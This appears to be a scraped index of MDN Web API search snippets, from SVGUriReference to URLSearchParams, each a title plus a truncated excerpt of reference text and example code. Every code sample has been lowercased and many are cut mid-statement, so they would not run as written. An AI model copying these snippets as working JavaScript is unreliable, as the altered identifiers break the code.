<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgurireference" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgurireference</text></a></svg></div> a:hover text { fill: #0095dd; po...
SVGUnitTypes - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgunittypes" target="_top"><rect x="1" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="61" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgunittypes</text></a></svg></div...
SVGVKernElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgvkernelement" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgvkernelement<...
SVGZoomAndPan - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgzoomandpan" target="_top"><rect x="1" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="66" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgzoomandpan</text></a></svg></d...
Screen.availHeight - Web APIs
let palettewindow = window.open("panels.html", "panels", "left=0, top=0, width=200"); the panels window's html, in panels.html, has javascript code of its own, which is executed as soon as the window is created.
Screen.lockOrientation() - Web APIs
examples usage with a domstring argument screen.lockorientationuniversal = screen.lockorientation || screen.mozlockorientation || screen.mslockorientation; if (screen.lockorientationuniversal("landscape-primary")) { // orientation was locked } else { // orientation lock failed } usage with an array argument screen.lockorientationuniversal = screen.lockorientation || screen.mozlockorientation || screen.mslockorientation; if (screen.lockorientationuniversal(["landscape-primary", "landscape-secondary"])) { // orientation was locked } else { // orientation lock failed } specifi...
Screen.pixelDepth - Web APIs
WebAPIScreenpixelDepth
syntax let depth = window.screen.pixeldepth example // if there is not adequate bit depth // choose a simpler color if ( window.screen.pixeldepth > 8 ) { document.style.color = "#faebd7"; } else { document.style.color = "#ffffff"; } specifications specification status comment css object model (cssom) view modulethe definition of 'screen.pixeldepth' in that specification.
ScreenOrientation.lock() - Web APIs
one of the following: "any" "natural" "landscape" "portrait" "portrait-primary" "portrait-secondary" "landscape-primary" "landscape-secondary" return value a promise.
ScreenOrientation.type - Web APIs
the type read-only property of the screenorientation interface returns the document's current orientation type, one of "portrait-primary", "portrait-secondary", "landscape-primary", or "landscape-secondary".
ScreenOrientation - Web APIs
properties screenorientation.typeread only returns the document's current orientation type, one of "portrait-primary", "portrait-secondary", "landscape-primary", or "landscape-secondary".
Screen Capture API - Web APIs
feature policy validation user agents that support feature policy (either using http's feature-policy header or the <iframe> attribute allow) can specify a desire to use the screen capture api using the policy control directive display-capture: <iframe allow="display-capture" src="/some-other-document.html"> the default allow list is self, which lets the any content within the document use screen capture.
ScriptProcessorNode.bufferSize - Web APIs
); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to process audio events scriptnode.onaudioprocess = function(audioprocessingevent) { // the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessin...
ScriptProcessorNode.onaudioprocess - Web APIs
// load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to process audio events scriptnode.onaudioprocess = function(audioprocessingevent) { // the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessin...
SecurityPolicyViolationEvent.blockedURI - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.blockeduri); }); specifications specification status comment content security policy level 3the definition of 'blockeduri' in that specification.
SecurityPolicyViolationEvent.columnNumber - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.columnnumber); }); specifications specification status comment content security policy level 3the definition of 'columnnumber' in that specification.
SecurityPolicyViolationEvent.disposition - Web APIs
possible values are "enforce" or "report" example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.disposition); }); specifications specification status comment content security policy level 3the definition of 'disposition' in that specification.
SecurityPolicyViolationEvent.documentURI - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.documenturi); }); specifications specification status comment content security policy level 3the definition of 'documenturi' in that specification.
SecurityPolicyViolationEvent.effectiveDirective - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.effectivedirective); }); specifications specification status comment content security policy level 3the definition of 'effectivedirective' in that specification.
SecurityPolicyViolationEvent.lineNumber - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.linenumber); }); specifications specification status comment content security policy level 3the definition of 'linenumber' in that specification.
SecurityPolicyViolationEvent.originalPolicy - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.originalpolicy); }); specifications specification status comment content security policy level 3the definition of 'originalpolicy' in that specification.
SecurityPolicyViolationEvent.referrer - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.referrer); }); specifications specification status comment content security policy level 3the definition of 'referrer' in that specification.
SecurityPolicyViolationEvent.sample - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.sample); }); specifications specification status comment content security policy level 3the definition of 'sample' in that specification.
SecurityPolicyViolationEvent.sourceFile - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.sourcefile); }); specifications specification status comment content security policy level 3the definition of 'sourcefile' in that specification.
SecurityPolicyViolationEvent.statusCode - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.statuscode); }); specifications specification status comment content security policy level 3the definition of 'statuscode' in that specification.
SecurityPolicyViolationEvent.violatedDirective - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.violateddirective); }); specifications specification status comment content security policy level 3the definition of 'violateddirective' in that specification.
Selection.collapse() - Web APIs
*/ var body = document.getelementsbytagname("body")[0]; window.getselection().collapse(body,0); specifications specification status comment selection apithe definition of 'selection.collapse()' in that specification.
Selection.containsNode() - Web APIs
html <p>can you find the secret word?</p> <p>hmm, where <span id="secret" style="color:transparent">secret</span> could it be?</p> <p id="win" hidden>you found it!</p> javascript const secret = document.getelementbyid('secret'); const win = document.getelementbyid('win'); // listen for selection changes document.addeventlistener('selectionchange', () => { const selection = window.getselection(); const found = selection.containsnode(secret); win.togglea...
ServiceWorker.onstatechange - Web APIs
for example: navigator.serviceworker.register(..).then(function(swr) { swr.installing.state == "installing" swr.installing.onstatechange = function() { swr.installing == null; // at this point, swr.waiting or swr.active might be true.
ServiceWorkerGlobalScope: message event - Web APIs
// in the page being controlled if (navigator.serviceworker) { navigator.serviceworker.register('service-worker.js'); navigator.serviceworker.addeventlistener('message', event => { // event is a messageevent object console.log(`the service worker sent me a message: ${event.data}`); }); navigator.serviceworker.ready.then( registration => { registration.active.postmessage("hi service worker"); }); } the service worker can receive the message by listening to the message event: // in the service worker addeventlistener('message', event => { // event is an extendablemessageevent object console.log(`the client sent me a message: ${event.data}`); event.source.postmessage("hi client"); }); specifications specification status service work...
ServiceWorkerGlobalScope.onnotificationclick - Web APIs
}; example self.onnotificationclick = function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }; specifications specification status comment notifications apithe definition of 'onnot...
ServiceWorkerGlobalScope.onpush - Web APIs
the data payload of the push message is available in the event object's data property (pushevent.data, which contains a pushmessagedata object.) self.addeventlistener('push', function(event) { if (!(self.notification && self.notification.permission === 'granted')) { return; } var data = {}; if (event.data) { data = event.data.json(); } var title = data.title || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/new-notification.png"; var notification = new notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://e...
ServiceWorkerGlobalScope: push event - Web APIs
self.addeventlistener("push", event => { let message = event.data.json(); switch(message.type) { case "init": doinit(); break; case "shutdown": doshutdown(); break; } }, false); specifications specification status comment push apithe definition of 'push' in that specification.
ServiceWorkerGlobalScope: pushsubscriptionchange event - Web APIs
self.addeventlistener("pushsubscriptionchange", event => { event.waituntil(swregistration.pushmanager.subscribe(event.oldsubscription.options) .then(subscription => { return fetch("register", { method: "post", headers: { "content-type": "application/json" }, body: json.stringify({ endpoint: subscription.endpoint }) }); }) ); }, false); ...
ShadowRoot.mode - Web APIs
WebAPIShadowRootmode
when the mode of a shadow root is "closed", the shadow root’s implementation internals are inaccessible and unchangeable from javascript—in the same way the implementation internals of, for example, the <video> element are inaccessible and unchangeable from javascript.
SharedWorkerGlobalScope.name - Web APIs
example if a shared worker is created using a constructor with a name option: var myworker = new sharedworker("worker.js", { name : "mysharedworker" }); the sharedworkerglobalscope will now have a name of "mysharedworker", returnable by running self.name from inside the shared worker.
SourceBuffer.abort() - Web APIs
a buffer is being appended but the operation has not yet completed) a user "scrubs" the video seeking to a new point in time.
SourceBuffer.changeType() - Web APIs
usage notes if the parent mediasource is in its "ended" readystate, calling changetype() will transition the media source to the "open" readystate and fire a simple event named sourceopen at the parent media source.
SpeechRecognitionEvent.resultIndex - Web APIs
the resultindex read-only property of the speechrecognitionevent interface returns the lowest index value result in the speechrecognitionresultlist "array" that has actually changed.
SpeechRecognitionEvent.results - Web APIs
when subsequent result events are fired, interim results may be overwritten by a newer interim result or by a final result — they may even be removed, if they are at the end of the "results" array and the array length decreases.
SpeechRecognitionEvent - Web APIs
speechrecognitionevent.resultindex read only returns the lowest index value result in the speechrecognitionresultlist "array" that has actually changed.
SpeechRecognitionResult.length - Web APIs
the length read-only property of the speechrecognitionresult interface returns the length of the "array" — the number of speechrecognitionalternative objects contained in the result (also referred to as "n-best alternatives".) the number of alternatives contained in the result depends on what the speechrecognition.maxalternatives property was set to when the speech recognition was first initiated.
SpeechRecognitionResult - Web APIs
speechrecognitionresult.length read only returns the length of the "array" — the number of speechrecognitionalternative objects contained in the result (also referred to as "n-best alternatives".) methods speechrecognitionresult.item a standard getter that allows speechrecognitionalternative objects within the result to be accessed via array syntax.
SpeechRecognitionResultList.length - Web APIs
the length read-only property of the speechrecognitionresultlist interface returns the length of the "array" — the number of speechrecognitionresult objects in the list.
SpeechRecognitionResultList - Web APIs
properties speechrecognitionresultlist.length read only returns the length of the "array" — the number of speechrecognitionresult objects in the list.
SpeechSynthesis.getVoices() - Web APIs
hesis.getvoices(); for(var i = 0; i < voices.length; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); document.getelementbyid("voiceselect").appendchild(option); } } populatevoicelist(); if (typeof speechsynthesis !== 'undefined' && speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } html <select id="voiceselect"></select> specifications specification status comment web speech apithe definition of 'getvoices()' in that specification.
SpeechSynthesis - Web APIs
examples first, a simple example: let utterance = new speechsynthesisutterance("hello world!"); speechsynthesis.speak(utterance); now we'll look at a more fully-fledged example.
SpeechSynthesisEvent.charIndex - Web APIs
examples utterthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } specifications specification status comment web speech apithe definition of 'charindex' in that specification.
SpeechSynthesisEvent.utterance - Web APIs
examples utterthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } specifications specification status comment web speech apithe definition of 'utterance' in that specification.
SpeechSynthesisEvent - Web APIs
examples utterthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speechsynthesisevent' in that specification.
SpeechSynthesisUtterance: mark event - Web APIs
the mark event of the web speech api speechsynthesisutterance object is fired when the spoken utterance reaches a named ssml "mark" tag.
SpeechSynthesisUtterance - Web APIs
also available via the onerror property mark fired when the spoken utterance reaches a named ssml "mark" tag.
SpeechSynthesisVoice - Web APIs
name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = pitch.value; utterthis.rate = rate.value; synth.speak(utterthis); utterthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesisvoice' in that specification.
StereoPannerNode - Web APIs
number of inputs 1 number of outputs 1 channel count mode "clamped-max" channel count 2 channel interpretation "speakers" constructor stereopannernode() creates a new instance of a stereopannernode object.
StorageManager.persist() - Web APIs
example if (navigator.storage && navigator.storage.persist) navigator.storage.persist().then(function(persistent) { if (persistent) console.log("storage will not be cleared except by explicit user action"); else console.log("storage may be cleared by the ua under storage pressure."); }); specifications specification status comment storagethe definition of 'persist' in that specification.
StorageManager.persisted() - Web APIs
example if (navigator.storage && navigator.storage.persist) navigator.storage.persisted().then(function(persistent) { if (persistent) console.log("storage will not be cleared except by explicit user action"); else console.log("storage may be cleared by the ua under storage pressure."); }); specifications specification status comment storagethe definition of 'persisted' in that specification.
Using readable streams - Web APIs
if (done) { console.log("stream complete"); para.textcontent = result; return; } charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.textcontent = 'read ' + charsreceived + ' characters so far.
Streams API - Web APIs
readablestreambyobreader represents a byob ("bring your own buffer") reader that can be used to read stream data supplied by the developer (e.g.
StylePropertyMap - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/stylepropertymap" target="_top"><rect x="1" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">stylepropert...
StylePropertyMapReadOnly.get() - Web APIs
let's start by creating a link inside a paragraph in our html, and adding a definition list which we will populate with javascript: <p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> we add a bit of css, including a custom property and an inhertable property: p { font-weight: bold; } a { --colour: red; color: var(--colour); } we use the element's computedstylemap() to return a stylepropertymapreadonly object.
StylePropertyMapReadOnly - Web APIs
</p> <dl id="output"></dl> we add a touch of css with a custom property to better demonstrate the output: p { --somevariable: 1.6em; --someothervariable: translatex(33vw); --anothervariable: 42; line-height: var(--somevariable); } we add javascript to grab our paragraph and return back a definition list of all the default css property values using computedstylemap().
Stylesheet.href - Web APIs
WebAPIStyleSheethref
example // on a local machine: <html> <head> <link rel="stylesheet" href="example.css" type="text/css" /> <script> function sref() { alert(document.stylesheets[0].href); } </script> </head> <body> <div class="thunder">thunder</div> <button onclick="sref()">ss</button> </body> </html> // returns "file:////c:/windows/desktop/example.css notes if the style sheet is a linked style sheet, the value of its attribute is its location.
StyleSheet.ownerNode - Web APIs
syntax noderef = stylesheet.ownernode example <html lang="en"> <head> <link rel="stylesheet" href="example.css"> </head> <body> <button onclick="alert(document.stylesheets[0].ownernode)">show example.css’s ownernode</button> </body> </html> // displays "object htmllinkelement" notes for style sheets that are included by other style sheets, such as with @import, the value of this property is null.
SubmitEvent() - Web APIs
const form = document.queryselector("form"); const formtrigger = form.queryselector("button.submit"); const submitevent = new submitevent("submit", { submitter: formtrigger }); form.dispatchevent(submitevent); this is a somewhat contrived example, as you can do nearly all of this much more easily, but this gives you deep control over the process that can be useful.
SubtleCrypto - Web APIs
if the key is sensitive you should use wrapkey(), which exports the key and then encrypts it using another key; the api calls a "key-wrapping key".
Text() - Web APIs
WebAPITextText
syntax text1 = new text(); // create an empty text node text2 = new text("this is a text node"); example let text = new text("test"); specifications specification status comment domthe definition of 'text()' in that specification.
TextDecoder.prototype.decode() - Web APIs
html <p>encoded value: <span id="encoded-value"></span></p> <p>decoded value: <span id="decoded-value"></span></p> javascript const encoder = new textencoder(); const array = encoder.encode('€'); // uint8array(3) [226, 130, 172] document.getelementbyid('encoded-value').textcontent = array; const decoder = new textdecoder(); const str = decoder.decode(array); // string "" document.getelementbyid('decoded-value').textconten...
TextDecoder - Web APIs
= new uint16array([41200, 47022]); let i16arr = new int16array([-24336, -18514]); let i32arr = new int32array([-1213292304]); console.log(utf8decoder.decode(u8arr)); console.log(utf8decoder.decode(i8arr)); console.log(utf8decoder.decode(u16arr)); console.log(utf8decoder.decode(i16arr)); console.log(utf8decoder.decode(i32arr)); handling non-utf8 text in this example, we decode the russian text "Привет, мир!", which means "hello, world." in our textdecoder() constructor, we specify the windows-1251 character encoding, which is appropriate for cyrillic script.
TextEncoder.prototype.encode() - Web APIs
examples <p class="source">this is a sample paragraph.</p> <p class="result">encoded result: </p> const sourcepara = document.queryselector('.source'); const resultpara = document.queryselector('.result'); const string = sourcepara.textcontent; const textencoder = new textencoder(); let encoded = textencoder.encode(string); resultpara.textcontent += encoded; specifications specification status comment encodingthe definiti...
TextMetrics.width - Web APIs
WebAPITextMetricswidth
examples given this <canvas> element: <canvas id="canvas"></canvas> ...
TextMetrics - Web APIs
html <canvas id="canvas" width="550" height="500"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const baselinesabovealphabetic = ['fontboundingboxascent', 'actualboundingboxascent', 'emheightascent', 'hangingbaseline']; const baselinesbelowalphabetic = ['ideographicbaseline', 'emheightdescent', 'actualboundingbo...
TextTrack: cuechange event - Web APIs
let texttrackelem = document.getelementbyid("texttrack"); texttrackelem.addeventlistener("cuechange", (event) => { let cues = event.target.track.activecues; }); in addition, you can use the oncuechange event handler: let texttrackelem = document.getelementbyid("texttrack"); texttrackelem.oncuechange = (event) => { let cues = event.target.track.activecues; }); specifications specification status html living...
TextTrackList.length - Web APIs
var mediaelem = document.queryselector("video, audio"); var numtexttracks = 0; if (mediaelem.texttracks) { numtexttracks = mediaelem.texttracks.length; } note that this sample checks to be sure htmlmediaelement.texttracks is defined, to avoid failing on browsers without support for texttrack.
TextTrackList.onaddtrack - Web APIs
document.queryselector("video").texttracks.onaddtrack = function(event) { addtotracklist(event.track); }; specifications specification status comment html living standardthe definition of 'texttracklist: onaddtrack' in that specification.
TextTrackList.onchange - Web APIs
var tracklist = document.queryselector("video, audio").texttracks; tracklist.onchange = function(event) { ....
TextTrackList.onremovetrack - Web APIs
document.queryselectorall("video, audio")[0].texttracks.onremovetrack = function(event) { mytrackcount = document.queryselectorall("video, audio")[0].texttracks.length; }; the current number of text tracks remaining in the media element is obtained from texttracklist property length.
TextTrackList - Web APIs
var texttracks = document.queryselector("video").texttracks; monitoring track count changes in this example, we have an app that displays information about the number of channels available.
TimeRanges.end() - Web APIs
WebAPITimeRangesend
example given a video element with the id "myvideo": var v = document.getelementbyid("myvideo"); var buf = v.buffered; var numranges = buf.length; if (buf.length == 1) { // only one range if (buf.start(0) == 0 && buf.end(0) == v.duration) { // the one range starts at the beginning and ends at // the end of the video, so the whole thing is loaded } } this example looks at the time ranges and looks to see if the entire video has been loaded.
TimeRanges.length - Web APIs
WebAPITimeRangeslength
syntax length = timeranges.length; example given a video element with the id "myvideo": var v = document.getelementbyid("myvideo"); var buf = v.buffered; var numranges = buf.length; if (buf.length == 1) { // only one range if (buf.start(0) == 0 && buf.end(0) == v.duration) { // the one range starts at the beginning and ends at // the end of the video, so the whole thing is loaded } } this example looks at the time ranges and looks to see if the entire video has been loaded.
TimeRanges.start() - Web APIs
WebAPITimeRangesstart
example given a video element with the id "myvideo": var v = document.getelementbyid("myvideo"); var buf = v.buffered; var numranges = buf.length; if (buf.length == 1) { // only one range if (buf.start(0) == 0 && buf.end(0) == v.duration) { // the one range starts at the beginning and ends at // the end of the video, so the whole thing is loaded } } this example looks at the time ranges and looks to see if the entire video has been loaded.
TimeRanges - Web APIs
the term "normalized timeranges object" indicates that ranges in such an object are ordered, don't overlap, aren't empty, and don't touch (adjacent ranges are folded into one bigger range).
Touch.clientX - Web APIs
WebAPITouchclientX
// register touchstart and touchend listeners for element 'source' var src = document.getelementbyid("source"); var clientx, clienty; src.addeventlistener('touchstart', function(e) { // cache the client x/y coordinates clientx = e.touches[0].clientx; clienty = e.touches[0].clienty; }, false); src.addeventlistener('touchend', function(e) { var deltax, deltay; // compute the change in x and y coordinates.
Touch.clientY - Web APIs
WebAPITouchclientY
// register touchstart and touchend listeners for element 'source' var src = document.getelementbyid("source"); var clientx, clienty; src.addeventlistener('touchstart', function(e) { // cache the client x/y coordinates clientx = e.touches[0].clientx; clienty = e.touches[0].clienty; }, false); src.addeventlistener('touchend', function(e) { var deltax, deltay; // compute the change in x and y coordinates.
Touch.identifier - Web APIs
WebAPITouchidentifier
for (var i=0; i < e.changedtouches.length; i++) { console.log("changedtouches[" + i + "].identifier = " + e.changedtouches[i].identifier); } }, false); specifications specification status comment touch events – level 2 draft no change.
TouchEvent.altKey - Web APIs
WebAPITouchEventaltKey
someelement.addeventlistener('touchstart', function(e) { // log the state of this event's modifier keys console.log("altkey = " + e.altkey); console.log("ctrlkey = " + e.ctrlkey); console.log("metakey = " + e.metakey); console.log("shiftkey = " + e.shiftkey); }, false); specifications specification status comment touch events – level 2 draft non-stable version.
TouchEvent.changedTouches - Web APIs
for (var i=0; i < e.changedtouches.length; i++) { console.log("changedtouches[" + i + "].identifier = " + e.changedtouches[i].identifier); } }, false); specifications specification status comment touch events – level 2 draft non-stable version.
TouchEvent.touches - Web APIs
switch (e.touches.length) { case 1: handle_one_touch(e); break; case 2: handle_two_touches(e); break; case 3: handle_three_touches(e); break; default: console.log("not supported"); break; } }, false); specifications specification status comment touch events – level 2 draft non-stable version.
TouchList.item() - Web APIs
WebAPITouchListitem
target = document.getelementbyid("target"); target.addeventlistener('touchstart', function(ev) { // if this touchstart event started on element target, // set touch to the first item in the targettouches list; // otherwise set touch to the first item in the touches list var touch; if (ev.targettouches.length >= 1) touch = ev.targettouches.item(0); else touch = ev.touches.item(0); }, false); specificatio...
TouchList.length - Web APIs
WebAPITouchListlength
target = document.getelementbyid("target"); target.addeventlistener('touchstart', function(ev) { // if this touchstart event started on element target, // set touch to the first item in the targettouches list; // otherwise set touch to the first item in the touches list var touch; if (ev.targettouches.length >= 1) touch = ev.targettouches.item(0); else touch = ev.touches.item(0); }, false); specifications specification status ...
TrackEvent() - Web APIs
syntax trackevent = new trackevent(type, eventinfo); parameters type the type of track event which is described by the object: "addtrack" or "removetrack".
TransformStream - Web APIs
unk) && chunk.every(value => typeof value === 'number')) controller.enqueue(new uint8array(chunk)) else if ('function' === typeof chunk.valueof && chunk.valueof() !== chunk) this.transform(chunk.valueof(), controller) // hack else if ('tojson' in chunk) this.transform(json.stringify(chunk), controller) break case 'symbol': controller.error("cannot send a symbol as a chunk part") break case 'undefined': controller.error("cannot send undefined as a chunk part") default: controller.enqueue(this.textencoder.encode(string(chunk))) break }, flush() { /* do any destructor work here */ } } class anytou8stream extends transformstream { constructor() { super({...transformcontent, textencod...
TransitionEvent.initTransitionEvent() - Web APIs
the transitionevent.inittransitionevent() method initializes a transition event created using the deprecated document.createevent("transitionevent") method.
TransitionEvent - Web APIs
transitionevent.inittransitionevent() initializes a transitionevent created using the deprecated document.createevent("transitionevent") method.
UIEvent.initUIEvent() - Web APIs
example var e = document.createevent("uievent"); // creates a click event that bubbles, can be cancelled, // and with its view and detail property initialized to window and 1, // respectively e.inituievent("click", true, true, window, 1); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'uievent.inituievent()' in that specification.
sourceCapabilities - Web APIs
a device is considered "responsible" for an event only when that interaction is part of the abstraction provided by the web platform.
URL.hash - Web APIs
WebAPIURLhash
if the url does not have a fragment identifier, this property contains an empty string — "".
URL.host - Web APIs
WebAPIURLhost
examples let url = new url('/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org" url = new url('https://developer.mozilla.org:443/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port url = new url('https://developer.mozilla.org:4097/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org:4097" specifications specification status comm...
URL.password - Web APIs
WebAPIURLpassword
examples const url = new url('https://anonymous:flabada@developer.mozilla.org/docs/web/api/url/password'); console.log(url.password) // logs "flabada" specifications specification status comment urlthe definition of 'url.password' in that specification.
URL.pathname - Web APIs
WebAPIURLpathname
examples const url = new url('/docs/web/api/url/pathname?q=value'); console.log(url.pathname); // logs "/docs/web/api/url/pathname" specifications specification status comment urlthe definition of 'url.pathname' in that specification.
URL.pathname - Web APIs
examples const url = new url('/docs/web/api/url/pathname?q=value'); console.log(url.pathname); // logs "/docs/web/api/url/pathname" specifications specification status comment urlthe definition of 'url.pathname' in that specification.
URL.protocol - Web APIs
WebAPIURLprotocol
examples const url = new url('/docs/web/api/url/protocol'); console.log(url.protocol); // logs "https:" specifications specification status comment urlthe definition of 'protocol' in that specification.
URL.search - Web APIs
WebAPIURLsearch
examples const url = new url('/docs/web/api/url/search?q=123'); console.log(url.search); // logs "?q=123" specifications specification status comment urlthe definition of 'url.search' in that specification.
URL.search - Web APIs
WebAPIURLsearch?q=123
examples const url = new url('/docs/web/api/url/search?q=123'); console.log(url.search); // logs "?q=123" specifications specification status comment urlthe definition of 'url.search' in that specification.
URL.searchParams - Web APIs
WebAPIURLsearchParams
examples if the url of your page is https://example.com/?name=jonathan%20smith&age=18 you could parse out the name and age parameters using: let params = (new url(document.location)).searchparams; let name = params.get('name'); // is the string "jonathan smith".
URL.toJSON() - Web APIs
WebAPIURLtoJSON
examples const url = new url("/docs/web/api/url/tostring"); url.tojson(); // should return the url as a string specifications specification status comment urlthe definition of 'tojson()' in that specification.
URL.toString() - Web APIs
WebAPIURLtoString
examples const url = new url("/docs/web/api/url/tostring"); url.tostring(); // should return the url as a string specifications specification status comment urlthe definition of 'stringifier' in that specification.
URL.username - Web APIs
WebAPIURLusername
examples const url = new url('https://anonymous:flabada@developer.mozilla.org/docs/web/api/url/username'); console.log(url.username) // logs "anonymous" specifications specification status comment urlthe definition of 'username' in that specification.
URLSearchParams() - Web APIs
// retrieve params via url.search, passed into ctor var url = new url('https://example.com?foo=1&bar=2'); var params = new urlsearchparams(url.search); // pass in a string literal var params2 = new urlsearchparams("foo=1&bar=2"); var params2a = new urlsearchparams("?foo=1&bar=2"); // pass in a sequence of pairs var params3 = new urlsearchparams([["foo", "1"], ["bar", "2"]]); // pass in a record var params4 = new urlsearchparams({"foo": "1", "bar": "2"}); specifications specification status comment urlthe definition of 'urlsearchparams()' in that specification.
URLSearchParams.entries() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // display the key/value pairs for(var pair of searchparams.entries()) { console.log(pair[0]+ ', '+ pair[1]); } the result is: key1, value1 key2, value2 specifications specification status comment urlthe definition of 'entries() (see "iterable")' in that specification.
URLSearchParams.forEach() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // log the values searchparams.foreach(function(value, key) { console.log(value, key); }); the result is: value1 key1 value2 key2 specifications specification status comment urlthe definition of 'foreach() (see "iterable")' in that specification.
URLSearchParams.get() - Web APIs
